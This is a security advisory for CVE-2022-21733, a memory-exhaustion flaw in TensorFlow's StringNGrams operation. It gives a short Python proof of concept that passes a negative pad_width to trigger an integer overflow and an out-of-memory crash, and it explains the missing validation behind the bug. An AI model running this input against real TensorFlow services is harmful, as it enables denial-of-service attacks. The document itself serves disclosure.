CVE-2022-21733: Memory exhaustion in Tensorflow

The implementation of StringNGrams can be used to trigger a denial of service attack by causing an OOM condition after an integer overflow:

import tensorflow as tf

tf.raw_ops.StringNGrams(
data=['123456'],
data_splits=[0,1],
separator='a'*15,
ngram_widths=[],
left_pad='',
right_pad='',
pad_width=-5,
preserve_short_sequences=True)

We are missing a validation on pad_witdh and that result in computing a negative value for ngram_width which is later used to allocate parts of the output.